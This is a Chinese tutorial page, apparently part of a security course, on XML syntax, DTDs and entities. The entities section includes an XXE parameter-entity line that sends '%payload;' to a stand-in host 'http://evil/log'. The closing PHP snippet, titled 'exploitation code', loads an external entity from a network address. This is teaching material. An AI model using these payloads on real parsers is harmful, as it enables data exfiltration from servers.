网络安全进阶学习第二十一课——XML介绍

news2024/11/16 6:00:45

文章目录

  • 一、XML简介
  • 二、XML文档结构
    • 1、XML文档结构包括
    • 2、XML树结构
  • 三、XML语法
    • 1、声明信息,用于描述xml的版本和编码方式
    • 2、XML有且只有一个根元素
    • 3、成对标签(即标签必须关闭,html可以不关闭也能运行)
    • 4、区分大小写
    • 5、不可交叉编写
    • 6、xml注释(和html一样)
    • 7、XML空格
    • 8、特殊字符使用`实体`
    • 9、xml元素命名规则
    • 10、xml属性规则
    • 11、属性要用引号
  • 四、编写第一段XML代码
  • 五、DTD(文档类型定义)
  • 六、DTD内部文档声明( 即DTD 在 XML 源文件中)
    • 1、语法:
    • 2、举例:
  • 七、DTD外部文档声明( DTD 位于 XML 源文件的外部)
  • 八、DTD –XML 文档构成模块
    • 1、元素(Elements)
      • 1)元素声明语法
      • 2)元素是 XML 以及 HTML 文档的主要构建模块
      • 3)数量词的用法
    • 2、属性(Attributes)
      • 1)属性声明语法
    • 3、PCDATA(被解析的字符数据)
    • 4、CDATA(字符数据)
    • 5、实体(Entities)
      • 1)什么是实体?
      • 2)字符实体
      • 3)普通实体和参数实体
      • 4)内部实体
  • 九、分析DTD文档,写XML实列
  • 十、以php为例子,写一段简单的xml利用代码


一、XML简介

  1. XML(eXtensible Markup Language),可扩展标记语言,是一种标记语言,使用简单标记描述数据;(另一种常见的标记语言是HTML)
  2. XML是一种非常灵活的语言,没有固定的标签,所有标签都可以自定义
  3. 通常XML被用于信息的传递和记录,因此,xml经常被用于充当配置文件。如果把 HTML 和 XML 进行对比的话,HTML 旨在显示数据信息,而 XML 旨在用来进行数据的传输和存储

二、XML文档结构

1、XML文档结构包括

  • XML声明
  • DTD-文档类型定义(可选)
  • 文档元素。

在这里插入图片描述

2、XML树结构

下面XML代码如下:

<bookstore>
<book category="COOKING">
<title lang="en">Everyday ltalian </title>
<author>Giada De Laurentiis</author>
<year>2005</year>
<price>30.00</price>
</book>
<book category="CHILDREN">
<title lang="en">Harry Potter</title>
<author>J K. Rowling</author>
<year>2005</year>
<price>29.99</price>
</book>
<book category="WEB">
<title lang="en">Learning XML</title>
<author>Erik T. Ray</author>
<year>2003</year>
<price>39.95</price>
</book>
</bookstore>

树状图结构如下:
在这里插入图片描述

  • XML 文档形成了一种树结构,它从"根部"开始,然后扩展到"枝叶;
  • 父、子以及同胞等术语用于描述元素之间的关系。父元素拥有子元素。相同层级上的子元素成为同胞;
  • 所有的元素都可以有文本内容和属性(类似 HTML 中)。

三、XML语法

1、声明信息,用于描述xml的版本和编码方式

  • <? xml version= “1.0" encoding=“UTF-8” ?>

2、XML有且只有一个根元素

3、成对标签(即标签必须关闭,html可以不关闭也能运行)

4、区分大小写

5、不可交叉编写

6、xml注释(和html一样)

  • <!-- 这是一个注释符 -->

7、XML空格

  • HTML 会把多个连续的空格字符裁减(合并)为一个
  • 在 XML 中,文档中的空格不会被删减。

8、特殊字符使用实体

  • 特殊字符在标签里面会被xml解析器解析。使用xml预定义的实体代替、引用。xml预定义实体有5个,如下:
    在这里插入图片描述

实体必须以符号"&"开头,以符号";"结尾。

9、xml元素命名规则

1)、名称可以包含字母、数字以及其他的字符
2)、名称不能以数字或者标点符号开始
3)、名称不能以字母 xml(或者 XML、Xml 等等)开始
4)、名称不能包含空格
5)、可使用任何名称,没有保留的字词。

10、xml属性规则

1)、属性不能包含多个值(元素可以)
2)、属性不能包含树结构(元素可以)
3)、属性不容易扩展(为未来的变化)
4)、属性难以阅读和维护。请尽量使用元素来描述数据。而仅仅使用属性来提供与数据无关的信息。

错误示范:

<note day="10" month="01" year="2008" to="Tove" from="Jani" heading="Reminder" body="Don't forget me this weekend!"></note>

11、属性要用引号

1)、xml元素属性类似于html标签的属性,如img标签的src属性。
2)、xml属性必须要引号包裹,
3)、如果是单引号包裹,也会被解析为双引号。


四、编写第一段XML代码

使用XML描述下表中学生成绩信息
在这里插入图片描述

代码如下:

<?xml version="1.0"encoding="UTF-8"?>
<scores>
	<student id="1">
		<name>张三</name>
		<course>xml</course>
		<score>90</score>
	</student>
	<student id="2">
		<name>李四</name>
		<course>html</course>
		<score>80</score>
	</student>
	<student id="3">
		<name>王五</name>
		<course>js</course>
		<score>80</score>
	</student>
</scores>

五、DTD(文档类型定义)

  • DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。
  • DTD 可以在 XML 文档内声明,也可以外部引用。

也就是DTD文档类型定义分为内部声明外部声明


六、DTD内部文档声明( 即DTD 在 XML 源文件中)

1、语法:

<!DOCTYPE root-element [element-declarations]>

其中root-element是根元素的名称,element-declarations是声明元素的位置

2、举例:

在这里插入图片描述
上图红色部分就是DTD声明,我们可以理解为这时告诉服务器“我的结构是这样子的”

七、DTD外部文档声明( DTD 位于 XML 源文件的外部)

1、语法:

<!DOCTYPE root-element SYSTEM "filename">

其中root-element是根元素的名称,filename是外部dtd文件

2、举例:
在这里插入图片描述
上面红色部分就是在外部导入一个note.dtd文件

外部note.dtd文件内容
在这里插入图片描述


八、DTD –XML 文档构成模块

1、元素(Elements)

主要构建模块,元素可包含文本、其他元素或是空的。

1)元素声明语法

格式:

<!ELEMENT 元素名 (子元素,子元素...)>
<!ELEMENT 元素名 CONTENT>

CONTENT是元素类型,必须要大写!CONTENT的内容有三种写法:

  • EMPTY——表示该元素不能包含子元素和文本,但可以有属性。
  • ANY——表示该元素可以包含任何在该DTD中定义的元素内容
  • #PCDATA——可以包含任何字符数据,但是不能在其中包含任何子元素

2)元素是 XML 以及 HTML 文档的主要构建模块

  • HTML 元素的例子是 “body” 和 “table”(html已经规定好的)。
  • XML 元素的例子是 “note” 和 “message” (自定义的)。
  • 元素可包含文本、其他元素或者空,空的 HTML 元素的例子是 “hr”、“br” 以及 “img”。

3)数量词的用法

符号用途示例示例说明
()用来给元素分组(古龙 | 金庸)(王朔 | 余杰)分成两组
|在列出的对象中选择一个(男人 | 女人)表示男人或者女人必须出现,两者至少选其一
+该对象必须出现一次或者多次(成员+)表示成员必须出现,而却可以出现多个成员
*该对象允许出现0次或者多次爱好*爱好可以出现0次到多次
?该对象必须出现0次或者1次(菜鸟?)菜鸟可以出现,也可以不出现,如果出现的话,最多只能出现一次
,对象必须按指定的顺序出现(西瓜,苹果,香蕉)表示西瓜、苹果、香蕉必须出现,并且按这个顺序出现

在这里插入图片描述

2、属性(Attributes)

元素的额外信息

1)属性声明语法

格式:

<!ATTLIST 元素名称 属性名称 属性类型 默认值>
  • 属性类型:
    CDATA 值为字符数据 (character data)
    (en1|en2|…) 此值是枚举列表中的一个值
    ID 值为唯一的 id…

  • 默认值:
    #REQUIRED 属性值是必需的
    #IMPLIED 属性不是必需的
    #FIXED value 属性值是固定的

举例:
在这里插入图片描述

3、PCDATA(被解析的字符数据)

被解析器检查实体并标记。

PCDATA 是会被解析器解析的文本。
文本中的标签会被当作标记来处理,而实体会被展开(被XML文档解析)

不过,被解析的字符数据不应当包含任何 &< 或者 > 字符;需要使用 &amp;&lt; 以及 &gt; 实体来分别替换它们。

这里需要注意的是,#PCDATA是ELEMENT定义的一种数据格式,和PCDATA有着本质区别。

4、CDATA(字符数据)

不会被解析的文本。

CDATA (character data) 指的是不应由 XML 解析器进行解析的文本数据(Unparsed Character Data)。

在 XML 元素中,"<" (新元素的开始)和 "&" (字符实体的开始)是非法的。

某些文本,比如 JavaScript 代码,包含大量 “<” 或 “&” 字符。为了避免错误,可以将脚本代码定义为 CDATA。

CDATA 部分中的所有内容都会被解析器忽略。CDATA 部分由 “<![CDATA[” 开始由 “]]>” 结束

这里需要注意的是,这里的CDATA是说的元素里面的数据,而前面属性中的属性类型CDATA有着本质区别

5、实体(Entities)

用来定义普通文本的变量,还可对实体引。

1)什么是实体?

实体是对数据的引用;根据实体种类的不同,XML 解析器将使用实体的替代文本或者外部文档的内容来替代实体引用。理解为一种变量,或者说实体为一个包裹,数据为包裹里面的物品,当我们引用这个包时,就是拿了里面的数据。

举例:

a=123
<!ENTITY 名称 “值”>
引用方式: &a;

实体主要分为一下四类:

  • 字符实体
  • 普通实体
  • 参数实体
  • 内部实体

2)字符实体

指用十进制格式(&#aaa;)十六进制格式(&#xaaa;)来指定任意 Unicode 字符。对 XML 解析器而言,字符实体与直接输入指定字符的效果完全相同

3)普通实体和参数实体

类型普通实体参数实体
使用场合用在XML文档中只用在DTD中元素和属性的声明中
内部声明方式<!ENTITY 实体名 “文本内容”><!ENTITY %实体名 “文本内容">
外部声明方式<IENTITY 实体名 SYSTEM ”外部文件URL地址”><IENTITY %实体名 SYSTEM “外部文件URL地址”>
引用方式&实体名;%实体名;

参数实体定义:

  1. 参数实体只用于 DTD 中
  2. 参数实体的引用在DTD是理解解析的,替换文本将变成DTD的一部分。
  3. 参数实体在DTD中解析优先级高于xml内部实体

参数实体语法:

  • 参数实体内部引用: 只用于 DTD 和文档的内部子集中,使用百分号(%)+实体名称进行申明和引用
  • <!ENTITY %实体名称 "实体的值">

参数实体外部引用:

  • <!ENTITY %实体名称 SYSTEM "URI">

引用方法:

  • %实体名;

4)内部实体

定义:

  • 内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。
    关于实体嵌套的情况,DTD中支持单双引号,所以可以通过单双引号间隔使用作为区分嵌套实体和实体之间的关系;在实际使用中,我们通常需要再嵌套一个参数实体,%号是需要处理成 &#37;(这里注意是带有分号;的)

语法:

  • <!ENTITY % 实体名 ‘<!ENTITY % 实体名 SYSTEM “URI" >’>

实例:

<!ENTITY % param1 '<!ENTITY &#37; xxe SYSTEM "http://evil/log?%payload;" >'>
%param1;

注意:
&#37;也可写为16进制&#x25;


九、分析DTD文档,写XML实列

DTD文档如下:

<!ELEMENT NEWSPAPER (ARTICLE+)>
<!ELEMENT ARTICLE(HEADLINE,BYLINE,LEAD,BODY,NOTES)>
<!ELEMENT HEADLINE (#PCDATA)>
<!ELEMENT BYLINE(#PCDATA)>
<!ELEMENT LEAD(#PCDATA)>
<!ELEMENT BODY (#PCDATA)>
<!ELEMENT NOTES (#PCDATA)>

<!ATTLIST ARTICLE AUTHOR CDATA #REOUIRED>
<!ATTLIST ARTICLE EDITOR CDATA #IMPLIED>
<!ATTLIST ARTICLE DATE CDATA #IMPLIED>
<!ATTLIST ARTICLE EDITION CDATA #IMPLIED>

解析后的XML实列如下:

<?xml version="1.0" encoding="UTF-8" ?>
<NEWSPAPER>
	<ARTICLE AUTHOR="1" EDITOR="2">
		<HEADLINE></HEADLINE>
		<BYLINE></BYLINE>
		<LEAD></LEAD>
		<BODY></BODY>
		<NOTES></NOTES>
	</ARTICLE>
	<ARTICLE AUTHOR="1" EDITOR="2">
		<HEADLINE></HEADLINE>
		<BYLINE></BYLINE>
		<LEAD></LEAD>
		<BODY></BODY>
		<NOTES></NOTES>
	</ARTICLE>
</NEWSPAPER>

十、以php为例子,写一段简单的xml利用代码

<?php
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE any [
	<!ENTITY f SYSTEM "http://192.168.237.136/1.txt">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
echo "$data";
?>

<<<EOF的特性:
1.PHP定界符的作用就是按照原样,包括换行格式什么的,输出在其内部的东西;
2.PHP定界符中的任何特殊字符都不需要转义;
3.PHP定界符中的PHP变量会被正常的用其值来替换。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1163844.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

广汽传祺E9上市,3DCAT实时云渲染助力线上3D高清看车体验

今年5月21日&#xff0c;中国智电新能源旗舰MPV——广汽传祺智电新能源E9在北京人民大会堂举办上市发布会。 发布会现场&#xff08;图源官方&#xff09; 为了让更多的消费者能够在线上感受到广汽传祺E9的魅力&#xff0c;3DCAT实时渲染云与大圣科技合作为广汽传祺打造了一款…

文件批量改名:不再担心文件名太长,一键高效重命名文件的方法

在日常生活和工作中&#xff0c;我们经常遇到文件名过长的问题。过长的文件名可能会使得文件难以理解和管理&#xff0c;甚至导致一些错误。本文将介绍云炫文件管理器批量修改文件名的技巧&#xff0c;帮助您快速高效地处理文件名过长的问题。这些技巧可以广泛应用于日常生活和…

LeetCode 143. 重排链表(双指针、快慢指针)

题目&#xff1a; 链接&#xff1a;LeetCode 143. 重排链表 难度&#xff1a;中等 给定一个单链表 L 的头节点 head &#xff0c;单链表 L 表示为&#xff1a; L0 → L1 → … → Ln-1 → Ln 请将其重新排列后变为&#xff1a; L0 → Ln → L1 → Ln-1 → L2 → Ln-2 → … 不…

基于51单片机摩尔斯电码收发控制系统设计

**单片机设计介绍&#xff0c;1659【毕设课设】基于51单片机摩尔斯电码收发控制系统设计&#xff08;仿真电路&#xff0c;程序&#xff09; 文章目录 一 概要二、功能设计设计思路 三、 软件设计原理图 五、 程序六、 文章目录 一 概要 基于51单片机的摩尔斯电码收发控制系统…

计算机编程入门,编程入门从什么学起,给大家分享一款中文编程工具,零基础学编程

计算机编程入门&#xff0c;编程入门从什么学起&#xff0c;给大家分享一款中文编程工具&#xff0c;零基础学编程 中文编程从入门到精通&#xff0c;中文编程语言开发工具分享 给大家分享一款中文编程工具&#xff0c;零基础轻松学编程&#xff0c;不需英语基础&#xff0c;…

企业上ERP的节奏商讨

导读&#xff1a;目前国内很多企业都选择ERP作为企业信息化系统&#xff0c;ERP系统的实施是一个系统的工程&#xff0c;实施过程中只有遵循正确的步骤&#xff0c;才能达到事半功倍的效果。 企业建立ERP管理系统&#xff0c;不是把现有的手工管理模式照搬到计算机上来操作&…

新体验:万圣节夜晚的新游戏!--愤怒的南瓜

引言&#xff1a; Chatgpt4.0 所带来的冲击似乎远超出人们想象&#xff0c;网页小游戏《愤怒的南瓜》在昨日&#xff08;万圣节夜晚&#xff09;火爆了外网。一位名为 Javi Lopez 的外国小哥使用 Midjourney、DALL•E 3 和 GPT-4 打开了一个无限可能的世界&#xff0c;重新演绎…

Centos7快速重置root密码

1、重新启动Centos7&#xff0c;5秒内按向下方向键&#xff0c;使其停留在开机界面&#xff0c;如下图。 2、按’e’键&#xff0c;进入如下界面&#xff0c;移动向下方向键至“linux16”开头的行。然后按向右的方向键移动,找到“ro”并将其修改为“rw init/sysroot/bin/bash…

[动态规划] (三) LeetCode 746. 使用最小花费爬楼梯

[动态规划] (三)LeetCode 746. 使用最小花费爬楼梯(两种解法) 文章目录 [动态规划] (三)LeetCode 746. 使用最小花费爬楼梯(两种解法)题目解析解题思路状态表示状态转移方程初始化和填表顺序返回值状态表示状态转移方程初始化和填表顺序返回值 代码实现总结 746. 使用最小花费爬…

建议没用过这个的社区人都来试试!

不是吧&#xff0c;还有社区工作者不知道这个好东西嘛&#xff1f; 就是这个——写作火火&#xff0c;是写报告、方案一把好手啊 直接输入想写的内容&#xff0c;几秒钟报名啊方案啊就来了&#xff0c;不满意可以重新写&#xff0c;直到你满意为止&#xff0c;真的很方便。 …

mybatisplus查询百万数据慢问题

1.遇到的问题 本次查询的数据是一个视图&#xff0c;查询的数据量也比较大&#xff0c;整体有百万数据。 错误提示&#xff1a; 2023-11-02 07:55:52 [http-nio-11605-exec-3] ERROR c.a.druid.filter.stat.StatFilter [] [] - slow sql 6568 millis. SELECT COUNT(1) FROM (…

乐鑫工程部署过程记录

一、获取编译环境 1、下载sdk&#xff0c;ESP-IDF 这里有很多发布版本&#xff0c;当前我选择的是4.4.6&#xff0c;可以选择下载压缩包&#xff0c;也可以git直接clone 2、配置编译环境 我选择的是Linux Ubuntu下部署开发环境 查看入门指南 选择对应的芯片&#xff0c;我…

C语言 每日一题 11

1.使用函数求素数和 本题要求实现一个判断素数的简单函数、以及利用该函数计算给定区间内素数和的函数。 素数就是只能被1和自身整除的正整数。注意&#xff1a;1不是素数&#xff0c;2是素数。 函数接口定义&#xff1a; int prime(int p); int PrimeSum(int m, int n); 其中…

pip install python是关于 NMake Makefiles报错

CMake Error at CMakeLists.txt:2 (PROJECT):GeneratorNMake Makefilesdoes not support platform specification, but platformx64was specified. I cant install opencv-python because I dont have vs? - Stack Overflow 这样解决就行。

042-第三代软件开发-485通信

第三代软件开发-485通信 文章目录 第三代软件开发-485通信项目介绍485通信RS-485 简介RS-232 简介RS-485 与 RS-232 区别Qt 中使用485 总结一下 关键字&#xff1a; Qt、 Qml、 QSerialPort、 QSerialPort、 QThread 项目介绍 欢迎来到我们的 QML & C 项目&#xff01…

Keil uv5 MDK使用教程

目录 前言一、开发环境搭建1.1 Keil的安装1.2 其他工具安装1.3 注意事项 二、Keil基本使用2.1 新建工程模板2.1.1 基于固件库&#xff08;先复制文件夹&#xff0c;后添加文件&#xff09;2.1.2 基于寄存器2.1.3 基于HAL库 2.2 下载与调试2.3 工程目录下简介2.4 MDK使用技巧 前…

uniapp在APP端使用echarts用formatter设置y轴保留2位小数点不生效

uniapp使用echarts&#xff0c;在内置浏览器中&#xff0c;设置保留2位小数能正常显示&#xff08;代码如下&#xff09;&#xff0c;但是在APP端这个设置不起作用。 yAxis: {type: value,axisLabel: {formatter: function (val) {return val.toFixed(2); //y轴始终保留小数点…

H桥电机驱动器MS35656可pin对pin兼容DRV8812

MS35656 是一款双通道 DMOS 全桥驱动器&#xff0c;可以驱动一个步进电机或者两个直流电机。每个全桥的驱动电流在 24V 电源下可以工作到 1.4A。MS35656 集成了固定关断时间的 PWM 电流校正器&#xff0c;以及一个 2bit 的非线性 DAC&#xff08;数模转换器&#xff09;&#x…

【WinForm详细教程五】WinForm中的MenuStrip 、ContextMenuStrip 、ToolStrip、StatusStrip控件

文章目录 1.MenuStrip2.ContextMenuStrip3.ToolStrip4.StatusStrip 1.MenuStrip MenuStrip作为一个容器可以包含多个菜单项。MenuStrip 的重要属性包括&#xff1a; Name&#xff1a;菜单的名字Dock&#xff1a;菜单的停靠位置Items&#xff1a;菜单项的集合 ToolStripMenuI…

WebDAV之π-Disk派盘 + 一叶日记

推荐一款操作方便、界面简洁,记录生活点滴与心情,具有诗情画意的日记软件。 一叶日记是一款记录日记的手机软件,在这款软件中它里面有着各种不同的工具,可以方便用户去随时随地的记录日记,同时里面还有着各种不同的主题背景,可以供用户去选择使用各种功能,给用户记录带…